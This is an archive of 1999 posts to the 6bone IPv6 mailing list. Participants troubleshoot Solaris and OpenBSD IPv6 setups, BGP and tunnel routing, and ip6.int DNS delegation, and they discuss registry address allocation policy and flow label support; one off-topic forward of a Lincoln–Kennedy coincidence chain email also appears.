The peering agreements across the 6Bone are by nature non-commercial, and
therefore SHOULD allow transit traffic through.

Eventually, the Internet registries will assign other TLAs than the 6Bone
one (currently 3FFE::/16). The organizations bearing those TLAs will
establish a new IPv6 network, parallel to the 6Bone. The 6Bone MIGHT
interconnect with this new IPv6 Internet, but transit across the 6Bone
will not be guaranteed. It will be left to each 6Bone backbone site to
decide whether it will carry traffic to or from the IPv6 Internet.

-end

From 6bone-owner  Tue Mar  2 02:27:32 1999
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From: "J. Marsman" <marsman@telin.nl>
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Hello,

we've got a sun with solaris 2.5 and the IPv6 packet from SUN. Now we
are trying to configure this SUN as router. On one side there is an IPv6
network on the other side the internet. The problem is the sun doesn't
want to route the ipv6 mapped ipv4 adresses and sends out on the IPv4
interface ICMPv6 packets.

Has somebody any experience with configuring routing capabilities on a
SUn (Sparc) or is this even possible.

Regards,

Jan Marsman
Marsman@telin.nl


From 6bone-owner  Tue Mar  2 08:08:36 1999
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Date: Tue, 2 Mar 1999 11:08:28 -0500 (EST)
From: Truman Boyes <truman@superlink.net>
To: 6bone@ISI.EDU
cc: v6-deployment-cabal@alpha.zk3.dec.com
Subject: nrl-ipv6+ipsec-alpha-7.1 and OpenBSD 2.4
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Hello,

has anyone used this package with OpenBSD 2.4-current. I understand there
are still issues with IPSEC. I am seeing errors with the makefile, with
ifconfig. missing Makefile.inc. guess i will play around with it... anyone
dropped it into 2.4-frozen ?

______________________________________________________________________________
   __o		Truman Boyes				truman@superlink.net
 _ \<,_		Network Operations		(voice)	732-432-5454
(_)/ (_)	SuperLink Internet Services	(fax)	732-432-5450
______________________________________________________________________________



From 6bone-owner  Tue Mar  2 12:13:00 1999
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Subject: Re: nrl-ipv6+ipsec-alpha-7.1 and OpenBSD 2.4 
In-reply-to: Your message of "Tue, 02 Mar 1999 11:08:28 EST."
             <Pine.BSI.4.05L.9903021100240.17742-100000@mars.superlink.net> 
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In message <Pine.BSI.4.05L.9903021100240.17742-100000@mars.superlink.net>, you 
write:
>has anyone used this package with OpenBSD 2.4-current. I understand there
>are still issues with IPSEC. I am seeing errors with the makefile, with
>ifconfig. missing Makefile.inc. guess i will play around with it... anyone
>dropped it into 2.4-frozen ?

  The NRL Alpha 7.1 kit supports OpenBSD 2.4. That's OpenBSD 2.4. Not
OpenBSD-current.

  OpenBSD-current has the IPv6 kernel code and PF_KEY kernel code merged in.
For IPv6, you need to build the NRL Alpha 7.1 userland against the OpenBSD-
current headers to get a useful system. For PF_KEY, ipsecadm(8) has been
changed to use PF_KEY, and you can also use the pfkey(8) from the NRL kit.

								      -Craig

From 6bone-owner  Tue Mar  2 13:21:41 1999
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I'd suggest using Solaris 7, not Solaris 2.5.  I've used it on
2.5.1, and I know it works, but it has been a while.  Upgrade,
it is worth your while, really.

But, on Solaris 2.5, I believe that it represents the interfaces 
as le0#v6 or something like that.  Check to make sure that all
of those interfaces are up, the entries are in the routing table 
(netstat -rn).  That's about as far as my memory goes.

Solaris 7's IPv6 prototype has much better configuration, looks
(and is) more integrated, and works much better.  The one for
2.5 worked, but the new stuff is much better.

J. Marsman <marsman@telin.nl> wrote:
 > Hello,
 > 
 > we've got a sun with solaris 2.5 and the IPv6 packet from SUN. Now we
 > are trying to configure this SUN as router. On one side there is an IPv6
 > network on the other side the internet. The problem is the sun doesn't
 > want to route the ipv6 mapped ipv4 adresses and sends out on the IPv4
 > interface ICMPv6 packets.
 > 
 > Has somebody any experience with configuring routing capabilities on a
 > SUn (Sparc) or is this even possible.
 > 
 > Regards,
 > 
 > Jan Marsman
 > Marsman@telin.nl
 > 

_______________________________________________________________________
|Aaron Dewell			===>		dewell@woods.net      |
|aka		local guru	===>		dewell@greatland.net  |
|http://www.woods.net/~dewell			http://www.woods.net/ |
|PGP keyid 0x0D12A6B9 available from http://keys.pgp.com/	      |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


From 6bone-owner  Tue Mar  2 20:07:21 1999
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From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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To: Robert Rockell <rrockell@sprint.net>, 6Bone <6bone@ISI.EDU>
Subject: Re: new 6bone pTLA 3FFE:3600::/24 assigned to CHTTL-TW (fwd)
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	My prefix is 3ffe:3600::/24.
	I have set up BGP4+ with another Backbone sites(3ffe:2900::/24), but can not ping to other remote sites.
and I have tried traceroute to  3ffe:1200:3001:0:80:c8ff:fe33:fa93
and get the result as following:

	traceroute i6 3ffe:1200:3001:0:80:c8ff:fe33:fa93
 1  3ffe:2900:3600::2  261 ms  257 ms  254 ms
 2  3ffe:28ff:ffff:4::100  381 ms  396 ms  377 ms
 3  *  *  *
 4  3ffe:1100::cc02:0:0:0:1  478 ms  477 ms  458 ms
 5  *  *  *
 6  *  *  *
   .......


Is that posssible that 3ffe:1100::/ filters out my prefix, 3ffe:3600::/24 ?
							Thanks 
							Chu

From 6bone-owner  Wed Mar  3 07:47:34 1999
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From: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
To: 6bone <6bone@ISI.EDU>
Subject: tunnel v6 in v4 
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  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---559023410-851401618-919186961=:5768
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Hi ! 

We are two students of Italian University !
We work with 2 pc (named : ing58 and ing211).

We installed ipv6 on our linux machines using the Bieriger's HOWTO !    
We compiled inet6-apps0.34, net-tools1.50, telnet ........etc

This is our situation : ( it is possible this configuration ? )

                                  
               ____________________________   
ethernet NE2000|                 | tunnel v6 in v4 to CSELT   
         ______|____         ____|_____
        |          |        |          |
        |  ing211  |        |  ing58   |
        |__________|        |__________|  
                                   
We set up tunnel (v6 in v4 from ing58 to CSELT). 
CSELT are connect to 6bone!
We haven't problems if we ping v6 from ing58 to CSELT router, and from
ing211 to ing58 but we don't understand how configure ing209 for to ping
from ing211 to CSELT router.
It is possible this configuration ?

We tried also this configuration :

                                     tunnel v6 in v4 to CSELT
               ________________     ____________
          eth0 |         eth0 |     | eth1
         ______|___          _|_____|__
        |          |        |          |
        |  ing211  |        |  ing58   |
        |__________|        |__________|
 
We ping from ing211 to ing58 (addr eth1) but we don't ping from ing211 to
CSELT router !  

Our problem is : how it configure host (ing211) in local LAN for to send
packets v6 in v4 through tunnel (ing58) 

If you have some advice, can you tell us ?
 
Thanks

Luca & Giancarlo

---559023410-851401618-919186961=:5768--

From 6bone-owner  Thu Mar  4 22:14:01 1999
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Subject: FW: Spooky!!
Date: Thu, 4 Mar 1999 23:06:42 -0700
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-----Original Message-----
From: Arthur D Bielby [mailto:Arthur.D.Bielby-1@usa.dupont.com] 
Sent: Sunday, February 28, 1999 7:59 AM
To: bielby@aol.com
Subject: Spooky!!




<< > > Consider this...
 > >
 > > And remember that it's ALL COMPLETELY TRUE...
 > >
 > > Abraham Lincoln was elected to Congress in 1846.
 > >
 > > John F. Kennedy was elected to Congress in 1946.
 > >
 > > Abraham Lincoln was elected President in 1860.
 > >
 > > John F. Kennedy was elected President in 1960.
 > >
 > > The names Lincoln and Kennedy each contain seven letters.
 > >
 > > Both were particularly concerned with civil rights.
 > >
 > > Both wives lost their children while living in the White House.
 > >
 > > Both Presidents were shot on a Friday.
 > >
 > > Both were shot in the head.
 > >
 > > Lincoln's secretary was named Kennedy.
 > >
 > > Kennedy's secretary was named Lincoln.
 > >
 > > Both were assassinated by Southerners.
 > >
 > > Both were succeeded by Southerners.
 > >
 > > Both successors were named Johnson.
 > >
 > > Andrew Johnson, who succeeded Lincoln, was born in 1808.
 > >
 > > Lyndon Johnson, who succeeded Kennedy, was born in 1908.
 > >
 > > John Wilkes Booth, who assassinated Lincoln, was born in 1839.
 > >
 > > Lee Harvey Oswald, who assassinated Kennedy, was born in 1939.
 > >
 > > Both assassins were known by their three names.
 > >
 > > Both names comprise fifteen letters.
 > >
 > > Booth ran from the theater and was caught in a warehouse.
 > >
 > > Oswald ran from a warehouse and was caught in a theater.
 > >
 > > Booth and Oswald were both assassinated before their trials.
 > >
 > >
 > >





From 6bone-owner  Sat Mar  6 22:01:07 1999
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To: 6bone@ISI.EDU
Subject: Meeting on  IPv6 Address Allocation Policy
From: Akira Kato <kato@wide.ad.jp>
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Folks,

The Regional Registries (ARIN, RIPE/NCC, APNIC) is about to define the
IPv6 address allocation policy. Their current draft may be referred
from your regional registries. In the case of APNIC, you can get
through the URL below:
	http://www.apnic.net/ipv6draft.html

The registries held a meeting to discuss the guidelines last week in
Singapore (in conjunction with Apricot'99) and some IPv6 people have
been invited to the meeting. Althrough I was not able to attend it,
a quick report from my colleague said that there was some discussion
on the current bootstrap condition which requires an IPv6 (s)TLA
applicant should have at least 100 non-dialup customers (corresponding
to the 8th paragraph of 4.1.1 in the case of APNIC draft).

One of the conclusion of the meeting was to hold a continuous
discussion during the Minnepolis IETF meeting. Current candidate
timeslot is just after the first NGtrans session is over (May 16 (TUE)
11:30 -- 12:30, in Room Salon G).

Please note that the above schedule is tentative and may be changed or
even entirely cancelled. Those who are interested to participate it,
please stay tuned.

-- Akira Kato, WIDE Project




From 6bone-owner  Sun Mar  7 17:02:35 1999
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	(envelope-from jabley)
Date: Mon, 8 Mar 1999 14:02:22 +1300
From: Joe Abley <jabley@clear.co.nz>
To: Akira Kato <kato@wide.ad.jp>
Cc: 6bone@ISI.EDU, jabley@clear.co.nz
Subject: Re: Meeting on  IPv6 Address Allocation Policy
Message-ID: <19990308140222.F799@clear.co.nz>
References: <19990307150100I.kato@nezu.wide.ad.jp>
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On Sun, Mar 07, 1999 at 03:01:00PM +0900, Akira Kato wrote:
> 
> The Regional Registries (ARIN, RIPE/NCC, APNIC) is about to define the
> IPv6 address allocation policy. Their current draft may be referred
> from your regional registries. In the case of APNIC, you can get
> through the URL below:
> 	http://www.apnic.net/ipv6draft.html

I think that many of the emotional responses that will probably result from
this draft will centre around the issue that unless a network operates as
a TLA (or unless sub-TLA advertisements are widely accepted and distributed,
like the hole- punching that is de regeur in IPv4), multi-homing is a vague
and complicated issue.

Given that many organisations which are most definitely not TLA candidates
have requirements to multi-home (e.g. end user networks), it seems to me
that a coherent multi-homing strategy is required before regional members
can comment sensibly on the TLA address allocation policy.

In the absense of such a multi-homing plan, if I might reasonably say
"everybody who can show that they are multi-homed act as a TLA". I won't
say that, because I appreciate the scaling issues involved in the core,
but if I was an end-user I might.


Joe


From 6bone-owner  Mon Mar  8 03:23:31 1999
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Date: Mon, 08 Mar 1999 11:22:00 +0000
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM Internet Division
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To: Joe Abley <jabley@clear.co.nz>
CC: Akira Kato <kato@wide.ad.jp>, 6bone@ISI.EDU
Subject: Re: Meeting on  IPv6 Address Allocation Policy
References: <19990307150100I.kato@nezu.wide.ad.jp> <19990308140222.F799@clear.co.nz>
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Joe,

A multihomed IPv6 site would be expected to have multiple
prefixes, possibly taken from multiple TLAs. But multihoming
is a very hard problem, and we can't afford to delay the start
of IPv6 address assignment in the hope that someone solves it.
What we are talking about is not *whether* subTLA assignment
starts in April, but what the assignment guidelines are *when*
it starts.

    Brian

Joe Abley wrote:
> 
> On Sun, Mar 07, 1999 at 03:01:00PM +0900, Akira Kato wrote:
> >
> > The Regional Registries (ARIN, RIPE/NCC, APNIC) is about to define the
> > IPv6 address allocation policy. Their current draft may be referred
> > from your regional registries. In the case of APNIC, you can get
> > through the URL below:
> >       http://www.apnic.net/ipv6draft.html
> 
> I think that many of the emotional responses that will probably result from
> this draft will centre around the issue that unless a network operates as
> a TLA (or unless sub-TLA advertisements are widely accepted and distributed,
> like the hole- punching that is de regeur in IPv4), multi-homing is a vague
> and complicated issue.
> 
> Given that many organisations which are most definitely not TLA candidates
> have requirements to multi-home (e.g. end user networks), it seems to me
> that a coherent multi-homing strategy is required before regional members
> can comment sensibly on the TLA address allocation policy.
> 
> In the absense of such a multi-homing plan, if I might reasonably say
> "everybody who can show that they are multi-homed act as a TLA". I won't
> say that, because I appreciate the scaling issues involved in the core,
> but if I was an end-user I might.
> 
> Joe

From 6bone-owner  Mon Mar  8 07:13:57 1999
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199903081513.KAA0000012845@quarry.zk3.dec.com>
To: Brian E Carpenter <brian@hursley.ibm.com>
cc: Joe Abley <jabley@clear.co.nz>, Akira Kato <kato@wide.ad.jp>,
        6bone@ISI.EDU
Subject: Re: Meeting on IPv6 Address Allocation Policy 
In-reply-to: Your message of "Mon, 08 Mar 1999 11:22:00 GMT."
             <36E3B2D8.E31A326@hursley.ibm.com> 
Date: Mon, 08 Mar 1999 10:13:48 -0500
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>A multihomed IPv6 site would be expected to have multiple
>prefixes, possibly taken from multiple TLAs. But multihoming
>is a very hard problem, and we can't afford to delay the start
>of IPv6 address assignment in the hope that someone solves it.
>What we are talking about is not *whether* subTLA assignment
>starts in April, but what the assignment guidelines are *when*
>it starts.

Exactly.  It is time to provide IPv6 addresses.

I also now agree with IAB response to the previous paper I looked at
that /29 should be allocated for the sub-TLA's. 

And all the quantity reqs for startup and references at least need to be
tripled.

Also though I support conservation, initially we need to make sure
efforts like 6REN do not have to jump thru major hoops to get started,
which are good for Ipv6 and a real need for 6REN customers outside of
the U.S.

WHere will this paper be discussed at Minneapolis?  Or will it not and
just email?

/jim

From 6bone-owner  Mon Mar  8 12:38:18 1999
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X-Authentication-Warning: iscone.res.sprintlink.net: rrockell owned process doing -bs
Date: Mon, 8 Mar 1999 15:38:10 -0500 (EST)
From: Robert Rockell <rrockell@sprint.net>
X-Sender: rrockell@iscone
To: 6bone@ISI.EDU
Subject: DNS setup questions
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  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---559023410-1804928587-920925490=:21706
Content-Type: TEXT/PLAIN; charset=US-ASCII

Good a forum as any :) 

I was finally getting my DNS stuff set up (apologies to my customers for
taking so long) and I am having trouble delegating anything longer than 9th
level.

I get the following:

52 (iscserv) /iscserv/home2/rrockell  -> dig @v6-sol.sprintlink.net
9.2.e.f.f.3.ip6.int. axfr

; <<>> DiG 8.1 <<>> @v6-sol.sprintlink.net 9.2.e.f.f.3.ip6.int. axfr 
; (1 server found)
$ORIGIN 9.2.e.f.f.3.ip6.int.
@                       1D IN SOA       v6-sol.sprintlink.net.
rrockell.sprint.net. (
                                        1999030802      ; serial
                                        1H              ; refresh
                                        15M             ; retry
                                        1W              ; expiry
                                        1M )            ; minimum

                        1M IN NS        v6-sol.sprintlink.net.
                        1M IN NS        ns.isi.edu.
0                       1M IN NS        ns1.slug.net.
@                       1D IN SOA       v6-sol.sprintlink.net.
rrockell.sprint.net. (
                                        1999030802      ; serial
                                        1H              ; refresh
                                        15M             ; retry
                                        1W              ; expiry
                                        1M )            ; minimum

;; Received 7 answers (7 records).
;; FROM: iscserv to SERVER: 199.0.232.93
;; WHEN: Mon Mar  8 15:30:03 1999


so it seems to be working.

However, now when I try to delegate down a /48 of my customer's, the line
does not show up on a dig. I played with this, and it only seems to be
working with exactly one extra character (viewed as 9th level delegation by
dns).

for example

1.9.2.e.f.f.3.ip6.int would work, but
2.1.9.2.e.f.f.e.ip6.int would not

I dug around with some other v6 dns machines out there and it seems
that they run perfectly well. I even see PTR records out to /128!!!

If anyone has encountered this before, please let me know. I am hoping It is
not something silly that I simply forgot. Any help would be appreciated.

named.conf and zonefile attached

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

---559023410-1804928587-920925490=:21706
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="named.conf"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.GSO.3.96.990308153810.21706B@iscone>
Content-Description: 

b3B0aW9ucyB7DQogICAgICAgIGRpcmVjdG9yeSAiL3Zhci9uYW1lZCI7DQp9
Ow0Kem9uZSAibG9jYWxob3N0IiBJTiB7DQogICAgICAgIHR5cGUgbWFzdGVy
Ow0KICAgICAgICBmaWxlICJsb2NhbGhvc3Quem9uZSI7DQp9Ow0Kem9uZSAi
MC4wLjEyNy5pbi1hZGRyLmFycGEiIHsNCiAgICAgICAgdHlwZSBtYXN0ZXI7
DQogICAgICAgIGZpbGUgIm5hbWVkLmxvY2FsIjsNCn07DQp6b25lICIuIiB7
DQogICAgICAgIHR5cGUgaGludDsNCiAgICAgICAgZmlsZSAibmFtZWQucm9v
dCI7DQp9Ow0Kem9uZSAic3ByaW50djYubmV0IiB7DQoJdHlwZSBtYXN0ZXI7
DQoJZmlsZSAicHJpbWFyeS9zcHJpbnR2Ni5uZXQiOw0KfTsNCnpvbmUgIjku
Mi5lLmYuZi4zLmlwNi5pbnQiIHsNCgl0eXBlIG1hc3RlcjsNCglmaWxlICJw
cmltYXJ5LzkuMi5lLmYuZi4zLmlwNi5pbnQiOw0KfTsNCgkNCg==
---559023410-1804928587-920925490=:21706
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="9.2.e.f.f.3.ip6.int"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.GSO.3.96.990308153810.21706C@iscone>
Content-Description: 

OS4yLmUuZi5mLjMuaXA2LmludC4gICAgODY0MDAgICBTT0EgICAgIHY2LXNv
bC5zcHJpbnRsaW5rLm5ldC4gIHJyb2NrZWxsLnNwcmludC5uZXQuICgNCiAg
ICAgICAgICAgICAgICAgICAgICAgIDE5OTkwMzA4MDIgICAgICA7c2VyaWFs
DQogICAgICAgICAgICAgICAgICAgICAgICAzNjAwICAgIAk7cmVmcmVzaA0K
ICAgICAgICAgICAgICAgICAgICAgICAgOTAwICAgICAJO3JldHJ5DQogICAg
ICAgICAgICAgICAgICAgICAgICA2MDQ4MDAgIAk7ZXhwaXJlDQogICAgICAg
ICAgICAgICAgICAgICAgICA2MCApIAkJO21pbmltDQo7DQo5LjIuZS5mLmYu
My5pcDYuaW50LgkJCQlJTglOUwl2Ni1zb2wuc3ByaW50bGluay5uZXQuDQo5
LjIuZS5mLmYuMy5pcDYuaW50LgkJCQlJTglOUwlucy5pc2kuZWR1Lg0KOw0K
MAkJCQkJCUlOCU5TCW5zMS5zbHVnLm5ldC4NCjkuMi5lLmYuZi4zLmlwNi5p
bnQuCQkJCUlOCU5TCW5zMS53b29kcy5uZXQuDQoxLjAuMC4wLjAuMC5kLjEu
ZS5mLmYuMy5pcDYuaW50LgkJSU4JTlMJbnMxLnNsdWcubmV0Lg0K
---559023410-1804928587-920925490=:21706--

From 6bone-owner  Mon Mar  8 13:18:10 1999
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To: Robert Rockell <rrockell@sprint.net>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: DNS setup questions 
In-reply-to: Your message of Mon, 08 Mar 1999 15:38:10 EST.
             <Pine.GSO.3.96.990308152832.21706A-300000@iscone> 
Date: Mon, 08 Mar 1999 15:17:54 -0600
Sender: owner-6bone@zephyr.isi.edu
Precedence: bulk
Status: RO

I'm not sure exactly what you're saying isn't working, but I do
notice two important things.

> However, now when I try to delegate down a /48 of my customer's, the line
> does not show up on a dig. I played with this, and it only seems to be
> working with exactly one extra character (viewed as 9th level delegation by
> dns).
> 
> for example
> 
> 1.9.2.e.f.f.3.ip6.int		 would work, but
> 2.1.9.2.e.f.f.e.ip6.int	 would not

The latter is missing a "3" before "ip6", but I assume that's just a
typo in your message.  In your zone file ...

9.2.e.f.f.3.ip6.int.    86400 SOA v6-sol.sprintlink.net. rrockell.sprint.net. (
[...]
1.0.0.0.0.0.d.1.e.f.f.3.ip6.int.		IN	NS	ns1.slug.net.

This last line is not part of your zone, as it doesn't end with
"9.2.e.f.f.3.ip6.int".  Isn't there a warning from bind when you load
this?


From 6bone-owner  Mon Mar  8 13:52:40 1999
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X-Authentication-Warning: iscone.res.sprintlink.net: rrockell owned process doing -bs
Date: Mon, 8 Mar 1999 16:52:21 -0500 (EST)
From: Robert Rockell <rrockell@sprint.net>
X-Sender: rrockell@iscone
To: 6bone@ISI.EDU
Subject: Re: DNS setup questions
In-Reply-To: <Pine.GSO.3.96.990308152832.21706A-300000@iscone>
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thanks for the responses. Apparently, it was in fact a ID-10-T error on my
part. It is working now. thanks again for the prompt help.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Mon, 8 Mar 1999, Robert Rockell wrote:

->Good a forum as any :) 
->
->I was finally getting my DNS stuff set up (apologies to my customers for
->taking so long) and I am having trouble delegating anything longer than 9th
->level.
->
->I get the following:
->
->52 (iscserv) /iscserv/home2/rrockell  -> dig @v6-sol.sprintlink.net
->9.2.e.f.f.3.ip6.int. axfr
->
->; <<>> DiG 8.1 <<>> @v6-sol.sprintlink.net 9.2.e.f.f.3.ip6.int. axfr 
->; (1 server found)
->$ORIGIN 9.2.e.f.f.3.ip6.int.
->@                       1D IN SOA       v6-sol.sprintlink.net.
->rrockell.sprint.net. (
->                                        1999030802      ; serial
->                                        1H              ; refresh
->                                        15M             ; retry
->                                        1W              ; expiry
->                                        1M )            ; minimum
->
->                        1M IN NS        v6-sol.sprintlink.net.
->                        1M IN NS        ns.isi.edu.
->0                       1M IN NS        ns1.slug.net.
->@                       1D IN SOA       v6-sol.sprintlink.net.
->rrockell.sprint.net. (
->                                        1999030802      ; serial
->                                        1H              ; refresh
->                                        15M             ; retry
->                                        1W              ; expiry
->                                        1M )            ; minimum
->
->;; Received 7 answers (7 records).
->;; FROM: iscserv to SERVER: 199.0.232.93
->;; WHEN: Mon Mar  8 15:30:03 1999
->
->
->so it seems to be working.
->
->However, now when I try to delegate down a /48 of my customer's, the line
->does not show up on a dig. I played with this, and it only seems to be
->working with exactly one extra character (viewed as 9th level delegation by
->dns).
->
->for example
->
->1.9.2.e.f.f.3.ip6.int would work, but
->2.1.9.2.e.f.f.e.ip6.int would not
->
->I dug around with some other v6 dns machines out there and it seems
->that they run perfectly well. I even see PTR records out to /128!!!
->
->If anyone has encountered this before, please let me know. I am hoping It is
->not something silly that I simply forgot. Any help would be appreciated.
->
->named.conf and zonefile attached
->
->Thanks
->Rob Rockell
->Sprintlink Internet Service Center
->Operations Engineering
->703-689-6322
->1-800-724-3329, PIN 385-8833
->Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?
->


From 6bone-owner  Tue Mar  9 17:49:01 1999
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To: 6bone@ISI.EDU
Subject: Re: Meeting on  IPv6 Address Allocation Policy
From: Akira Kato <kato@wide.ad.jp>
In-Reply-To: Your message of "Sun, 07 Mar 1999 15:01:00 +0900"
	<19990307150100I.kato@nezu.wide.ad.jp>
References: <19990307150100I.kato@nezu.wide.ad.jp>
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I sent the pre-announcement attached below in Mar 07 afternoon. I
got positive responses from at least two Regional Registries and I
would like to confirm the meeting.

The purpose of the meeting is *not* to bash the registries but to
- Demonstrate how we are requiring IPv6 address space,
- Understand the current situation of each Regional Registry,
- Find out what kind of help from IPv6 community to the registries
  is needed to expedite the allocation process,
- so on.

Note that we will only have only 1 hour slot. So please understand
that we can not discuss the issues in detail. Also please read the
IPv6 Address Allocation Policy in advance.

See you soon in Minneapolis!

-- Akira Kato, WIDE Project

> Folks,
> 
> The Regional Registries (ARIN, RIPE/NCC, APNIC) is about to define the
> IPv6 address allocation policy. Their current draft may be referred
> from your regional registries. In the case of APNIC, you can get
> through the URL below:
> 	http://www.apnic.net/ipv6draft.html
> 
> The registries held a meeting to discuss the guidelines last week in
> Singapore (in conjunction with Apricot'99) and some IPv6 people have
> been invited to the meeting. Althrough I was not able to attend it,
> a quick report from my colleague said that there was some discussion
> on the current bootstrap condition which requires an IPv6 (s)TLA
> applicant should have at least 100 non-dialup customers (corresponding
> to the 8th paragraph of 4.1.1 in the case of APNIC draft).
> 
> One of the conclusion of the meeting was to hold a continuous
> discussion during the Minnepolis IETF meeting. Current candidate
> timeslot is just after the first NGtrans session is over (May 16 (TUE)
> 11:30 -- 12:30, in Room Salon G).
> 
> Please note that the above schedule is tentative and may be changed or
> even entirely cancelled. Those who are interested to participate it,
> please stay tuned.
> 
> -- Akira Kato, WIDE Project

From 6bone-owner  Tue Mar  9 19:21:42 1999
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To: 6bone@ISI.EDU
Subject: Re: Meeting on  IPv6 Address Allocation Policy
From: Akira Kato <kato@wide.ad.jp>
In-Reply-To: Your message of "Wed, 10 Mar 1999 10:48:50 +0900"
	<19990310104850I.kato@nezu.wide.ad.jp>
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Oops, in my previous mail, the date/time and place of the meeting
is not explicitly noted. I apologize it.

It will be held as below:
	May 16 (TUE), 11:30 -- 12:30 in Room Salon G
		(-- 11:15, the first NGtrans meeting held in the same room)

-- Akira Kato, WIDE Project

From 6bone-owner  Wed Mar 10 04:56:31 1999
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Message-ID: <36E66C1C.555E95F3@telin.nl>
Date: Wed, 10 Mar 1999 13:57:01 +0100
From: "J. Marsman" <marsman@telin.nl>
Organization: Telematica Instituut
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Subject: Flowlabel/Traffic Class
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Hello,

We've got an small IPv6 network and like to test some programs. At the
moment we have an webserver up and running and IE communicating with it
over IPv6. Are there any other programs, next to finger,ping,telnet and
ftp, which are IPv6 compatible? like video and audio conferencing.

Another question is: What is the status of the traffic calss field and
the flowlabel. In RFC 2460 we can read that testing is going on but..
Can we participate in this kind of testing or can we test it ourselfs.
None of the software we've found is using QoS.

Regards,

Jan Marsman
Telematica Institute
Marsman@telin.nl


From 6bone-owner  Wed Mar 10 05:20:57 1999
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199903101320.IAA0000017766@quarry.zk3.dec.com>
To: "J. Marsman" <marsman@telin.nl>
cc: 6bone@ISI.EDU
Subject: Re: Flowlabel/Traffic Class 
In-reply-to: Your message of "Wed, 10 Mar 1999 13:57:01 +0100."
             <36E66C1C.555E95F3@telin.nl> 
Date: Wed, 10 Mar 1999 08:20:51 -0500
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Hi,

>We've got an small IPv6 network and like to test some programs. At the
>moment we have an webserver up and running and IE communicating with it
>over IPv6. Are there any other programs, next to finger,ping,telnet and
>ftp, which are IPv6 compatible? like video and audio conferencing.

None at our end yet.  But are looking at these kind of apps now.  I
think we need to do some testing of your second paragraph..

>Another question is: What is the status of the traffic calss field and
>the flowlabel. In RFC 2460 we can read that testing is going on but..
>Can we participate in this kind of testing or can we test it ourselfs.
>None of the software we've found is using QoS.

I have not see enough yet of the defaults to put the traffic class bits
on for IPv6.  But I think after Minneapolis we all need to start setting
the defaults.  What a server should do with diff serv draft just came
out and for our IPv6 we need to look at that draft for traffic class.

For the flowlabel we have implemented RSVP for IPv6 and if you pull our
kit over and have an Alpha running 4.0d Tru64 UNIX you can start testing
the flowlabel.  You also may want see if you can write test code via
rapi to the rsvp daemon too.  We are ready to test RSVP and the
flowlabel with IPv6 when others are ready and it should be requested at
the next UNH IPv6 bakeoff.  There are also several drafts that just came
out speaking to how rsvp applicability statements work with diff serv
for IPv4 and IPv6.  

See www.digital.com/info/ipv6/ to get to what we implemented thus far ad
also wee www.ipv6.org page.

/jim 

Regards,

Jan Marsman
Telematica Institute
Marsman@telin.nl


From 6bone-owner  Wed Mar 10 10:07:12 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'J. Marsman'" <marsman@telin.nl>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: Flowlabel/Traffic Class
Date: Wed, 10 Mar 1999 10:06:29 -0800
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> We've got an small IPv6 network and like to test some programs. At the
> moment we have an webserver up and running and IE 
> communicating with it
> over IPv6. Are there any other programs, next to 
> finger,ping,telnet and
> ftp, which are IPv6 compatible? like video and audio conferencing.

One of the MSR IPv6 downloads has sdr & rat (audio conferencing), ports from
the UCL code base. See http://www.research.microsoft.com/msripv6.

Rich

From 6bone-owner  Wed Mar 10 10:59:29 1999
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Date: Wed, 10 Mar 1999 15:58:24 -0400
From: "Armando S. Aguirre Schlick" <aaguirre@zofri.cl>
Organization: SubGerencia de Informática, Zofri S.A.
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J. Marsman wrote:
> 
> Hello,
> 
> We've got an small IPv6 network and like to test some programs. At the
> moment we have an webserver up and running and IE communicating with it
> over IPv6. Are there any other programs, next to finger,ping,telnet and
> ftp, which are IPv6 compatible? like video and audio conferencing.

	Which O.S. are you taking about?? NT, Win95?? 
	I know a large list of aplication for linux, but I don't know how many
aplications for WinX are... Somebody knows the status of Winxx-ipv6??

	bye.. 

-- 
Armando S. Aguirre Schlick                         fono: (56 57) 403300
Coordinador de Proyectos de Desarrollo e Innovación Tecnológica
Subgerencia de Informatica ZOFRI S.A.              fax : (56 57) 417241
mailto:aaguirre@zofri.cl

From 6bone-owner  Thu Mar 11 02:44:53 1999
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From: Brian E Carpenter <brian@hursley.ibm.com>
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To: "J. Marsman" <marsman@telin.nl>
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Subject: Re: Flowlabel/Traffic Class
References: <36E66C1C.555E95F3@telin.nl>
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Hi,

The traffic class field is defined in RFC 2474 and 2475, but these
are so new that I expect it will be a little while before
we see implementations.

   Brian Carpenter

J. Marsman wrote:
> 
> Hello,
> 
> We've got an small IPv6 network and like to test some programs. At the
> moment we have an webserver up and running and IE communicating with it
> over IPv6. Are there any other programs, next to finger,ping,telnet and
> ftp, which are IPv6 compatible? like video and audio conferencing.
> 
> Another question is: What is the status of the traffic calss field and
> the flowlabel. In RFC 2460 we can read that testing is going on but..
> Can we participate in this kind of testing or can we test it ourselfs.
> None of the software we've found is using QoS.
> 
> Regards,
> 
> Jan Marsman
> Telematica Institute
> Marsman@telin.nl

From 6bone-owner  Thu Mar 11 08:43:32 1999
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Date: Thu, 11 Mar 1999 17:43:21 +0100 (MET)
From: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
